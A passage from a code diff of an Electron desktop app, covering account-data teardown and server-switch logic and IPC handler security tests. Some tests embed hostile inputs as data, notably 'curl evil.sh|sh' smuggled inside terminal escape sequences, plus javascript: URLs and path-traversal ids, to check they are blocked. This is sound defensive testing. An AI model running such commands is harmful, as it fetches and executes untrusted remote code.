logger.error('Could not stop account terminal sessions', { - error: getErrorMessage(error), - }) - } - clearDesktopChatSessions() - await localFilesystem.forgetAll().catch((error) => { - logger.error('Could not clear local filesystem grants', { - error: getErrorMessage(error), + const stores = [ + { label: 'sign-in handoff state', clear: () => handoff.clear() }, + { label: 'recent tasks', clear: () => tray?.clearRecentChats() }, + { + label: 'renderer session state', + clear: () => + Promise.all( + getWindows() + .filter((win) => canRevokeIn(win, appOrigin())) + .map((win) => + win.webContents.executeJavaScript( + `(() => { sessionStorage.clear(); window.name = '' })()`, + true + ) + ) + ).then(() => undefined), + }, + // Shells are account-scoped runtime state. Leaving them alive across + // sign-out would stream the previous account's output into the next + // renderer and keep its local processes running invisibly. + { label: 'terminal sessions', clear: () => terminal.dispose() }, + { label: 'task resource state', clear: clearDesktopChatSessions }, + { label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() }, + ] + const outcomes = await Promise.allSettled( + stores.map(({ clear }) => Promise.resolve().then(clear)) + ) + const failures = outcomes.flatMap((outcome, index) => { + if (outcome.status === 'fulfilled') return [] + logger.error('Could not clear local account state', { + store: stores[index].label, + error: getErrorMessage(outcome.reason), }) + return [outcome.reason] }) + if (failures.length > 0) { + throw new AggregateError(failures, 'Local account state survived teardown.') + } }, clearBrowserProfile: async () => { + // Browser profile teardown emits empty tab snapshots while closing its + // live views. Clear task descriptors afterward so those snapshots + // cannot recreate account-scoped state after sign-out. + const failures: unknown[] = [] + await clearAgentBrowserProfile().catch((error) => failures.push(error)) try { - await clearAgentBrowserProfile() - } finally { - // Browser profile teardown emits empty tab snapshots while closing - // its live views. Clear once more afterward so those cannot recreate - // account-scoped task descriptors after sign-out. clearDesktopChatSessions() + } catch (error) { + failures.push(error) + } + if (failures.length > 0) { + throw new AggregateError(failures, 'Browser account state survived teardown.') } }, }) @@ -333,10 +379,11 @@ function main(): void { config, events, appOrigin, - partition: partitionForOrigin(origin), + partition: appPartition(origin), preloadPath, isPackaged: app.isPackaged, restorePosition, + isMandatoryRelaunchPending: () => mandatoryRelaunchPending, onFullScreenChange: (isFullScreen) => { if (!win.isDestroyed()) { win.webContents.send('desktop:window-state:changed', { isFullScreen }) @@ -371,6 +418,7 @@ function main(): void { } }, allowHttpLocalhost: allowHttpLocalhost(), + isMandatoryRelaunchPending: () => mandatoryRelaunchPending, }) attachContextMenu(win.webContents, { isDev: !app.isPackaged, @@ -424,7 +472,7 @@ function main(): void { } if (!tray) { tray = installTray({ - partition: () => partitionForOrigin(appOrigin()), + partition: appPartition, appOrigin, lastRoute: () => config.get('lastRoute'), openMainWindow: (route) => void openMainWindowAt(route), @@ -473,6 +521,44 @@ function main(): void { }, }) + const serverWindow = createServerWindow({ + config, + defaultOrigin: DEFAULT_ORIGIN, + pagePath: SERVER_PAGE, + preloadPath, + isPackaged: app.isPackaged, + getParentWindow: getMainWindow, + prepareDeploymentScopedStateChange: () => beginAccountDataTeardown('deployment', appOrigin()), + clearDeploymentScopedState: async () => { + await waitForAccountDataMutations() + // allSettled, not sequential awaits: these are independent stores, and a + // rejection from the first must not skip the second — leaving the store + // that would have cleared fine still holding the outgoing deployment's + // access. Each failure is named so the picker can say what survived. + const stores = [ + { label: 'local file access', clear: () => localFilesystem.forgetAll() }, + { + label: 'built-in browser sessions', + clear: () => clearAgentBrowserProfile({ settingsPersistence: 'server-repair' }), + }, + ] + const outcomes = await Promise.allSettled(stores.map((store) => store.clear())) + return outcomes.flatMap((outcome, index) => { + if (outcome.status === 'fulfilled') return [] + logger.error('Could not clear deployment-scoped state', { + store: stores[index].label, + error: getErrorMessage(outcome.reason), + }) + return [stores[index].label] + }) + }, + completeDeploymentScopedStateChange: completeDeploymentScopedTeardown, + relaunch: () => { + mandatoryRelaunchPending = true + relaunchApp() + }, + }) + /** * Routes through the coordinator rather than tearing down directly: the * coordinator holds the in-progress guard, clears the same handoff and grant @@ -482,11 +568,11 @@ function main(): void { */ function signOutFromMenu(): void { ensureAppSession() - sessionLifecycle?.signOut() + void sessionLifecycle?.signOut() } app.on('second-instance', () => { - void app.whenReady().then(() => createAndLoadAppWindow()) + void (startupReady ?? app.whenReady()).then(() => createAndLoadAppWindow()) }) app.on('window-all-closed', () => { @@ -495,7 +581,39 @@ function main(): void { } }) - app.on('before-quit', () => { + app.on('before-quit', (event) => { + if (!resumingQuitAfterTeardown && sessionLifecycle?.isTeardownActive()) { + event.preventDefault() + void sessionLifecycle.awaitTeardown().then((clean) => { + if (!clean && !mandatoryRelaunchPending) { + logger.error('Quit cancelled because account teardown did not finish safely') + return + } + if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) { + logger.error('Quit cancelled because account-data recovery could not be persisted') + return + } + if (!clean) { + logger.warn( + 'Committed server relaunch is continuing with account-data recovery armed for startup' + ) + } + resumingQuitAfterTeardown = true + app.quit() + }) + return + } + /** + * A mandatory relaunch is requested only after the server-switch transaction + * has cleared deployment-scoped capabilities and committed the replacement + * origin. The ordinary quit guard must not strand that committed process on + * its old partition; any retained marker is startup retry metadata. + */ + if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) { + event.preventDefault() + logger.error('Quit cancelled because account-data recovery could not be persisted') + return + } // Stops the tray's background chat refresh alongside the OS handles. tray?.destroy() tray = null @@ -518,12 +636,13 @@ function main(): void { }) app.on('activate', () => { - if (app.isReady() && !getMainWindow()) { - void ensureMainWindow() - } + if (!app.isReady()) return + void (startupReady ?? app.whenReady()).then(() => { + if (!getMainWindow()) return ensureMainWindow() + }) }) - void app.whenReady().then(async () => { + startupReady = app.whenReady().then(async () => { // Packaged apps keep their native bundle icon so the Dock appearance does // not change when the process starts. Unpackaged runs have no branded // bundle, so they still need the channel-specific development icon. @@ -535,7 +654,57 @@ function main(): void { version: app.getVersion(), electron: process.versions.electron ?? '', }) - if (!desktopChatSessions.initialize()) { + + if (isAccountDataTeardownRequired()) { + const kind = getAccountDataTeardownKind() + const origin = getAccountDataTeardownOrigin() + if (!origin) { + logger.error('Account-data recovery marker does not contain a trusted origin') + } + const stores = [ + { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() }, + { label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() }, + { + label: 'browser site history', + clear: () => { + config.set('browserKnownSites', undefined) + if (!config.flush()) throw new Error('Browser site history could not be erased') + }, + }, + ...(kind === 'account' && origin + ? [ + { label: 'sign-in handoff state', clear: () => handoff.clear() }, + { label: 'terminal sessions', clear: () => terminal.dispose() }, + { label: 'task resource state', clear: clearDesktopChatSessions }, + { + label: 'app session storage', + clear: async () => { + const persistedSession = session.fromPartition(partitionForOrigin(origin)) + await persistedSession.clearStorageData() + await persistedSession.clearCache() + }, + }, + ] + : []), + ] + const failures = origin + ? await retryAccountDataTeardown(stores).catch((error) => { + logger.error('Could not finish interrupted account-data teardown', { + error: getErrorMessage(error), + }) + return ['account-data recovery marker'] + }) + : ['account-data recovery marker'] + if (failures.length > 0) { + logger.error('Account-data recovery remains incomplete', { stores: failures }) + } + } + + if (!accountDataAvailable()) { + logger.warn( + 'Account-bearing browser, terminal, and local filesystem APIs are unavailable until local recovery succeeds' + ) + } else if (!desktopChatSessions.initialize()) { logger.warn( 'Encrypted task resource storage is unavailable; browser and terminal state will remain memory-only' ) @@ -564,19 +733,22 @@ function main(): void { getMainWindow, config, { - load: (scopeId) => desktopChatSessions.getBrowser(appOrigin(), scopeId), - save: (scopeId, snapshot) => desktopChatSessions.setBrowser(appOrigin(), scopeId, snapshot), + load: (scopeId) => desktopChatSessions.getBrowser(processOrigin, scopeId), + save: (scopeId, snapshot) => + desktopChatSessions.setBrowser(processOrigin, scopeId, snapshot), migrateScope: (fromScopeId, toScopeId) => - desktopChatSessions.migrateBrowser(appOrigin(), fromScopeId, toScopeId), + desktopChatSessions.migrateBrowser(processOrigin, fromScopeId, toScopeId), disposeScope: (scopeId) => { - desktopChatSessions.deleteScope(appOrigin(), scopeId) + desktopChatSessions.deleteScope(processOrigin, scopeId) }, }, { getDirectory: () => desktopSettings.getPreferences().browserDownloadDirectory, } ) - await localFilesystem.initialize() + if (accountDataAvailable()) { + await localFilesystem.initialize() + } terminal.setSink({ data: (scopeId, terminalId, data) => scopeEvents.sendTerminal(scopeId, 'terminal:data', terminalId, data, scopeId), @@ -588,6 +760,8 @@ function main(): void { registerIpcHandlers({ appOrigin, allowHttpLocalhost, + accountDataAvailable, + localPagePaths: [resolve(OFFLINE_PAGE), resolve(SERVER_PAGE)], scopeEvents, retryLoad: (sender) => { const win = windowForContents(sender) @@ -659,13 +833,20 @@ function main(): void { check: () => updater?.check(), install: () => updater?.install(), }, + server: { + open: () => serverWindow.open(), + getConfiguration: () => serverWindow.getConfiguration(), + setOrigin: (origin) => serverWindow.setOrigin(origin), + }, }) await ensureMainWindow() installApplicationMenu({ config, getMainWindow, + isMainWindow: (win) => windows.has(win) && !win.isDestroyed(), allowHttpLocalhost, openSettings, + openServerSettings: () => serverWindow.open(), newWindow: () => void createAndLoadAppWindow(), newChat: () => void openMainWindowAt(newChatRoute(config.get('lastRoute'))), handleFocusedResourceShortcut: (win, shortcut) => @@ -676,6 +857,7 @@ function main(): void { signOut: signOutFromMenu, checkForUpdates: () => checkForUpdatesInteractive({ getWindow: getMainWindow, events, handle: updater }), + openDiagnostics: () => shell.showItemInFolder(events.filePath), }) installDocumentationHelpSearch() setTrayEnabled(config.get('trayEnabled') ?? true) @@ -684,6 +866,16 @@ function main(): void { events, appOrigin, autoDownload: () => config.get('autoDownloadUpdates') ?? true, + beforeInstall: async () => { + if (!prepareAccountDataTeardownForQuit()) { + throw new Error( + 'Account-data recovery could not be persisted before update installation.' + ) + } + if (sessionLifecycle && !(await sessionLifecycle.awaitTeardown())) { + throw new Error('Account teardown did not finish safely before update installation.') + } + }, onStateChange: (state) => { broadcast('desktop:updates:state', state) }, diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index c20e907e55d..b8bfc8cc8c2 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -1,5 +1,6 @@ import { readFileSync } from 'node:fs' import { fileURLToPath } from 'node:url' +import { PASTE_LIMITS } from '@sim/utils/paste' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) @@ -130,7 +131,7 @@ import { } from '@/main/browser-import' import { getSearchSuggestions } from '@/main/browser-search/suggestions' import { trackInputActivity } from '@/main/input-activity' -import { type IpcDeps, registerIpcHandlers } from '@/main/ipc' +import { type IpcDeps, openMicrophoneSettings, registerIpcHandlers } from '@/main/ipc' import { LocalFilesystemService } from '@/main/local-filesystem' import { TerminalRegistry } from '@/main/terminal/registry' import { findCachedTerminalThemeProfile, listTerminalThemeProfiles } from '@/main/terminal-themes' @@ -234,6 +235,10 @@ const inactiveAppEvent = { sender: rejectedSender(), } const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender } +const arbitraryFileEvent = { + senderFrame: { url: 'file:///Users/example/private.html' }, + sender: fileSender, +} /** The chooser anchors a native menu, so it needs a sender with a window. */ const FAKE_WINDOW = { id: 'main-window' } const activeChooserEvent = { @@ -273,6 +278,8 @@ describe('registerIpcHandlers', () => { deps = { appOrigin: () => APP, allowHttpLocalhost: () => false, + accountDataAvailable: () => true, + localPagePaths: ['/app/static/offline.html', '/app/static/server.html'], retryLoad: vi.fn(), beginOAuthConnect: vi.fn(async () => true), localFilesystem: new LocalFilesystemService({ @@ -316,6 +323,11 @@ describe('registerIpcHandlers', () => { check: vi.fn(), install: vi.fn(), }, + server: { + open: vi.fn(), + getConfiguration: vi.fn(() => ({ origin: APP, defaultOrigin: APP, isSimCloud: true })), + setOrigin: vi.fn(async () => ({ ok: true as const, origin: APP, unchanged: true })), + }, } registerIpcHandlers(deps) }) @@ -324,14 +336,42 @@ describe('registerIpcHandlers', () => { vi.useRealTimers() }) - it('validates open-external URLs regardless of sender', async () => { + it('opens validated external URLs only after recent user input', async () => { const { invoke } = collectHandlers() - expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true) - expect(await invoke.get('desktop:open-external')?.(appEvent, 'javascript:alert(1)')).toBe(false) - expect(await invoke.get('desktop:open-external')?.(appEvent, 42)).toBe(false) + const handler = invoke.get('desktop:open-external') + const activeUntrustedEvent = { + senderFrame: evilEvent.senderFrame, + sender: activeSender.sender, + } + + expect(await handler?.(evilEvent, 'https://docs.sim.ai')).toBe(false) + expect(await handler?.(activeUntrustedEvent, 'https://docs.sim.ai')).toBe(true) + expect(await handler?.(activeAppEvent, 'javascript:alert(1)')).toBe(false) + expect(await handler?.(activeAppEvent, 42)).toBe(false) expect(shell.openExternal).toHaveBeenCalledTimes(1) }) + it('opens microphone privacy settings only for an activated trusted app origin', async () => { + const { invoke } = collectHandlers() + const handler = invoke.get('desktop:open-microphone-settings') + + expect(await handler?.(evilEvent)).toBe(false) + expect(await handler?.(appEvent)).toBe(false) + expect(await handler?.(activeAppEvent)).toBe(process.platform === 'darwin') + expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0) + }) + + it('uses fixed native microphone settings URLs', async () => { + await expect(openMicrophoneSettings('darwin')).resolves.toBe(true) + expect(shell.openExternal).toHaveBeenLastCalledWith( + 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone' + ) + + await expect(openMicrophoneSettings('win32')).resolves.toBe(true) + expect(shell.openExternal).toHaveBeenLastCalledWith('ms-settings:privacy-microphone') + await expect(openMicrophoneSettings('linux')).resolves.toBe(false) + }) + it('keeps live search suggestions behind the app origin and privacy preference', async () => { const { invoke } = collectHandlers() const handler = invoke.get('browser-agent:search-suggestions') @@ -348,20 +388,21 @@ describe('registerIpcHandlers', () => { expect(await handler?.(appEvent, 'sim ai')).toEqual([]) }) - it('restricts the OAuth connect handoff to the app origin', async () => { + it('restricts the OAuth connect handoff to an activated app origin', async () => { const { invoke } = collectHandlers() const handler = invoke.get('desktop:oauth-connect') expect(await handler?.(evilEvent, 'slack')).toBe(false) expect(await handler?.(fileEvent, 'slack')).toBe(false) + expect(await handler?.(appEvent, 'slack')).toBe(false) expect(deps.beginOAuthConnect).not.toHaveBeenCalled() - expect(await handler?.(appEvent, 42)).toBe(false) - expect(await handler?.(appEvent, 'slack')).toBe(true) + expect(await handler?.(activeAppEvent, 42)).toBe(false) + expect(await handler?.(activeAppEvent, 'slack')).toBe(true) expect(deps.beginOAuthConnect).toHaveBeenCalledWith('slack', {}) // Connects carry workspace/credential or exact-draft scope; malformed // scopes (wrong types, unsafe ids) are rejected before the handoff. expect( - await handler?.(appEvent, 'slack', { + await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws1', credentialId: 'cred_1', draftId: 'draft_1', @@ -374,13 +415,13 @@ describe('registerIpcHandlers', () => { draftId: 'draft_1', chatAttemptId: 'attempt_1', }) - expect(await handler?.(appEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false) - expect(await handler?.(appEvent, 'slack', { draftId: '../wrong' })).toBe(false) - expect(await handler?.(appEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false) - expect(await handler?.(appEvent, 'slack', 'not-an-object')).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', { draftId: '../wrong' })).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', 'not-an-object')).toBe(false) }) - it('restricts the updates surface to the app origin', async () => { + it('restricts updates to an activated app origin', async () => { const { invoke, on } = collectHandlers() const getState = invoke.get('desktop:updates:get-state') expect(await getState?.(evilEvent)).toEqual({ status: 'idle' }) @@ -393,6 +434,11 @@ describe('registerIpcHandlers', () => { on.get('desktop:updates:check')?.(appEvent) on.get('desktop:updates:install')?.(appEvent) + expect(deps.updates.check).not.toHaveBeenCalled() + expect(deps.updates.install).not.toHaveBeenCalled() + + on.get('desktop:updates:check')?.(activeAppEvent) + on.get('desktop:updates:install')?.(activeAppEvent) expect(deps.updates.check).toHaveBeenCalledTimes(1) expect(deps.updates.install).toHaveBeenCalledTimes(1) }) @@ -407,6 +453,26 @@ describe('registerIpcHandlers', () => { ).toEqual({ ok: true, data: { mounts: [] } }) }) + it('gates account-bearing browser, terminal, and filesystem APIs during recovery', async () => { + deps.accountDataAvailable = () => false + const { invoke } = collectHandlers() + const localFilesystemHandle = vi.spyOn(deps.localFilesystem, 'handle') + const terminalStart = vi.spyOn(deps.terminal, 'start') + + await expect( + invoke.get('desktop:local-filesystem')?.(appEvent, { operation: 'list_mounts' }) + ).resolves.toMatchObject({ ok: false, code: 'ACCESS_DENIED' }) + await expect(invoke.get('browser-credentials:list')?.(appEvent)).resolves.toEqual([]) + await expect(invoke.get('terminal:start')?.(appEvent, {}, 'chat-a')).resolves.toMatchObject({ + ok: false, + code: 'ACCESS_DENIED', + }) + + expect(localFilesystemHandle).not.toHaveBeenCalled() + expect(listCredentials).not.toHaveBeenCalled() + expect(terminalStart).not.toHaveBeenCalled() + }) + it('requires an active user gesture for granting or revoking folder access', async () => { const { invoke } = collectHandlers() const handler = invoke.get('desktop:local-filesystem') @@ -498,6 +564,11 @@ describe('registerIpcHandlers', () => { await set?.(appEvent, 'notificationsEnabled', false) expect(deps.settings.setPreference).toHaveBeenCalledWith('notificationsEnabled', false) + await set?.(appEvent, 'launchAtLogin', true) + expect(deps.settings.setPreference).not.toHaveBeenCalledWith('launchAtLogin', true) + await set?.(activeAppEvent, 'launchAtLogin', true) + expect(deps.settings.setPreference).toHaveBeenCalledWith('launchAtLogin', true) + await setAppearance?.(evilEvent, 'browserTheme', 'dark') await setAppearance?.(appEvent, 'not-a-setting', 'dark') await setAppearance?.(appEvent, 'browserTheme', 'sepia') @@ -598,6 +669,8 @@ describe('registerIpcHandlers', () => { on.get('offline:retry')?.(appEvent) expect(deps.retryLoad).not.toHaveBeenCalled() + on.get('offline:retry')?.(arbitraryFileEvent) + expect(deps.retryLoad).not.toHaveBeenCalled() on.get('offline:retry')?.(fileEvent) expect(deps.retryLoad).toHaveBeenCalledWith(fileSender) }) @@ -658,7 +731,7 @@ describe('registerIpcHandlers', () => { expect(await handler?.(fileEvent, 'tool-1', 'browser_navigate', {})).toMatchObject({ ok: false, }) - expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {})).toMatchObject({ + expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {}, 'chat-1')).toMatchObject({ ok: false, error: expect.stringContaining('authorized pending Copilot tool call'), }) @@ -672,9 +745,15 @@ describe('registerIpcHandlers', () => { } // The server-persisted name must match the renderer's requested name. expect( - await handler?.(authorizedEvent, 'tool-1', 'browser_navigate', { - url: 'https://evil.example', - }) + await handler?.( + authorizedEvent, + 'tool-1', + 'browser_navigate', + { + url: 'https://evil.example', + }, + 'chat-1' + ) ).toMatchObject({ ok: false, error: expect.stringContaining('authorized pending Copilot tool call'), @@ -682,9 +761,15 @@ describe('registerIpcHandlers', () => { // An authorized call reaches the driver with the server-persisted args // (which reports its own tool-level failure because no session exists). expect( - await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', { - ignored: 'renderer cannot choose params', - }) + await handler?.( + authorizedEvent, + 'tool-1', + 'browser_snapshot', + { + ignored: 'renderer cannot choose params', + }, + 'chat-1' + ) ).toMatchObject({ ok: false, error: expect.stringContaining('No page is open yet'), @@ -714,6 +799,28 @@ describe('registerIpcHandlers', () => { cancelActive.mockRestore() }) + it('rejects a browser tool when the renderer claims a different scope than authorization', async () => { + const { invoke } = collectHandlers() + const handler = invoke.get('browser-agent:execute-tool') + const authorizedEvent = { + senderFrame: { url: `${APP}/workspace/ws1` }, + sender: { + session: { + fetch: vi.fn(async () => + Response.json({ chatId: 'chat-1', toolName: 'browser_snapshot', args: {} }) + ), + }, + }, + } + + expect( + await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {}, 'forged-chat') + ).toMatchObject({ + ok: false, + error: expect.stringContaining('authorized pending Copilot tool call'), + }) + }) + it('rejects a browser tool authorized after its scope cancellation boundary', async () => { const { invoke } = collectHandlers() const executeHandler = invoke.get('browser-agent:execute-tool') @@ -781,6 +888,43 @@ describe('registerIpcHandlers', () => { expect(executeTool).toHaveBeenCalledWith('chat-a', 'tool-1', 'list', {}) }) + it('requires trusted input to grant browser media while allowing denial without it', async () => { + const { invoke, on } = collectHandlers() + const panelAction = vi.spyOn(browserDriver, 'handlePanelAction').mockResolvedValue() + const handler = on.get('browser-agent:panel-action') + + await invoke.get('browser-agent:activate-scope')?.(inactiveAppEvent, 'chat-media') + handler?.( + inactiveAppEvent, + { action: 'respond-media-permission', requestId: 'request-1', allowed: true }, + 'chat-media' + ) + handler?.( + inactiveAppEvent, + { action: 'respond-media-permission', requestId: 'request-1', allowed: false }, + 'chat-media' + ) + + expect(panelAction).toHaveBeenCalledOnce() + expect(panelAction).toHaveBeenCalledWith('chat-media', { + action: 'respond-media-permission', + requestId: 'request-1', + allowed: false, + }) + + await invoke.get('browser-agent:activate-scope')?.(activeAppEvent, 'chat-media') + handler?.( + activeAppEvent, + { action: 'respond-media-permission', requestId: 'request-2', allowed: true }, + 'chat-media' + ) + expect(panelAction).toHaveBeenLastCalledWith('chat-media', { + action: 'respond-media-permission', + requestId: 'request-2', + allowed: true, + }) + }) + it('ignores browser-agent panel actions from outside the app origin', () => { const { on } = collectHandlers() const handler = on.get('browser-agent:panel-action') @@ -1502,14 +1646,11 @@ describe('registerIpcHandlers', () => { expect(forgetCredential).toHaveBeenCalledWith('c1') }) - it('always forwards the replies the PTY solicits', () => { + it('forwards fixed PTY device and focus reports without a gesture', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) - // The PTY asks for these and the terminal must answer with no user input: - // DSR cursor position, device attributes, a focus report (mode 1004, set by - // tmux and vim), an SGR mouse report. Gating them would hang whatever asked. - const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M'] + const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[O'] for (const reply of replies) { on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a') expect(write).toHaveBeenCalledWith('chat-a', 't1', reply) @@ -1522,11 +1663,11 @@ describe('registerIpcHandlers', () => { const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-b') - on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-a') - expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[I') + on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-a') + expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[24;80R') - on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-b') - expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[I') + on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-b') + expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[24;80R') }) it('clears retained terminal output only for an app-owned scope', async () => { @@ -1617,19 +1758,23 @@ describe('registerIpcHandlers', () => { expect(deps.scopeEvents.activateTerminal).toHaveBeenLastCalledWith(appSender, 'chat-retry') }) - it('only disposes provisional terminal scopes from the app origin', async () => { + it('only disposes provisional terminal scopes owned by the calling renderer', async () => { const { invoke } = collectHandlers() const disposeScope = vi.spyOn(deps.terminal, 'disposeScope') const dispose = invoke.get('terminal:dispose-scope') expect(await dispose?.(evilEvent, 'pending:new')).toBe(false) expect(await dispose?.(appEvent, 'chat-durable')).toBe(false) + expect(await dispose?.(appEvent, 'pending:new')).toBe(false) + + await invoke.get('terminal:activate-scope')?.(appEvent, 'pending:new') expect(await dispose?.(appEvent, 'pending:new')).toBe(true) + expect(await dispose?.(appEvent, 'pending:new')).toBe(false) expect(disposeScope).toHaveBeenCalledOnce() expect(disposeScope).toHaveBeenCalledWith('pending:new') }) - it('suspends only durable terminal scopes from the app origin', async () => { + it('suspends only the durable terminal scope active in the calling renderer', async () => { const suspendScope = vi.spyOn(deps.terminal, 'suspendScope').mockReturnValue(true) const { invoke } = collectHandlers() const suspend = invoke.get('terminal:suspend-scope') @@ -1637,6 +1782,9 @@ describe('registerIpcHandlers', () => { expect(await suspend?.(evilEvent, 'chat-durable')).toBe(false) expect(await suspend?.(appEvent, 'not valid!')).toBe(false) expect(await suspend?.(appEvent, 'pending:new')).toBe(false) + expect(await suspend?.(appEvent, 'chat-durable')).toBe(false) + + await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-durable') expect(await suspend?.(appEvent, 'chat-durable')).toBe(true) expect(suspendScope).toHaveBeenCalledOnce() expect(suspendScope).toHaveBeenCalledWith('chat-durable') @@ -1647,19 +1795,48 @@ describe('registerIpcHandlers', () => { ) }) + it('closes terminal tabs only after a gesture from their active visible renderer', async () => { + const state = { tabs: [], activeTerminalId: null } + const close = vi.spyOn(deps.terminal, 'closeUserTerminal').mockReturnValue(state) + const { invoke } = collectHandlers() + const closeTerminal = invoke.get('terminal:close') + + await invoke.get('terminal:activate-scope')?.(inactiveAppEvent, 'chat-a') + await expect(closeTerminal?.(inactiveAppEvent, 't1', 'chat-a')).resolves.toEqual(state) + expect(close).not.toHaveBeenCalled() + + await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-a') + await expect(closeTerminal?.(activeAppEvent, 't1', 'chat-a')).resolves.toEqual({ + ...state, + scopeId: 'chat-a', + }) + expect(close).toHaveBeenCalledWith('chat-a', 't1', activeSender.sender) + + close.mockClear() + await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-b') + await closeTerminal?.(activeAppEvent, 't1', 'chat-a') + expect(close).not.toHaveBeenCalled() + }) + + it('does not expose renderer-wide terminal teardown', () => { + const { on } = collectHandlers() + + expect(on.has('terminal:dispose')).toBe(false) + }) + it('pastes the clipboard from main rather than taking bytes from the caller', async () => { const { invoke } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) vi.mocked(clipboard.readText).mockReturnValue('echo hi') await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true) - expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi') + expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi', activeSender.sender) }) it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => { const { invoke } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) vi.mocked(clipboard.readText).mockReturnValue('echo hi') expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1', 'chat-a')).toBe(false) @@ -1670,7 +1847,29 @@ describe('registerIpcHandlers', () => { expect(write).not.toHaveBeenCalled() }) - it('gates a command smuggled inside a fake OSC or DCS reply', () => { + it('rejects an oversized terminal paste before writing to the PTY', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) + vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1)) + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe( + 'too-large' + ) + expect(write).not.toHaveBeenCalled() + }) + + it('writes an admitted terminal paste in bounded chunks', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) + const text = 'x'.repeat(70 * 1024) + vi.mocked(clipboard.readText).mockReturnValue(text) + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true) + expect(write).toHaveBeenCalledTimes(2) + expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text) + }) + + it('gates renderer-authored mouse, OSC, and DCS terminal sequences', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) @@ -1681,6 +1880,7 @@ describe('registerIpcHandlers', () => { `${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`, `${ESC}Pcurl evil.sh|sh\r${ESC}\\`, `${ESC}[M\r\r\r`, + `${ESC}[<0;10;5M`, ] for (const payload of smuggled) { on.get('terminal:write')?.(inactiveAppEvent, 't1', payload, 'chat-a') @@ -1688,22 +1888,23 @@ describe('registerIpcHandlers', () => { expect(write).not.toHaveBeenCalled() }) - it('still forwards a genuine OSC or DCS reply', () => { + it('fails closed for renderer-authored OSC and DCS bodies', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) - // Real bodies are printable and terminated by BEL or ST. - const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`] + // Even well-shaped replies contain renderer-chosen printable text. They + // need a future query/response binding before they can safely bypass the + // trusted-input gate, so the unconditional path refuses them. + const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`] for (const reply of replies) { on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a') - expect(write).toHaveBeenCalledWith('chat-a', 't1', reply) } - expect(write).toHaveBeenCalledTimes(replies.length) + expect(write).not.toHaveBeenCalled() }) - it('gates every keystroke-shaped payload, not just newline-bearing ones', () => { + it('requires recent native input for renderer-authored terminal writes', () => { const { on } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = 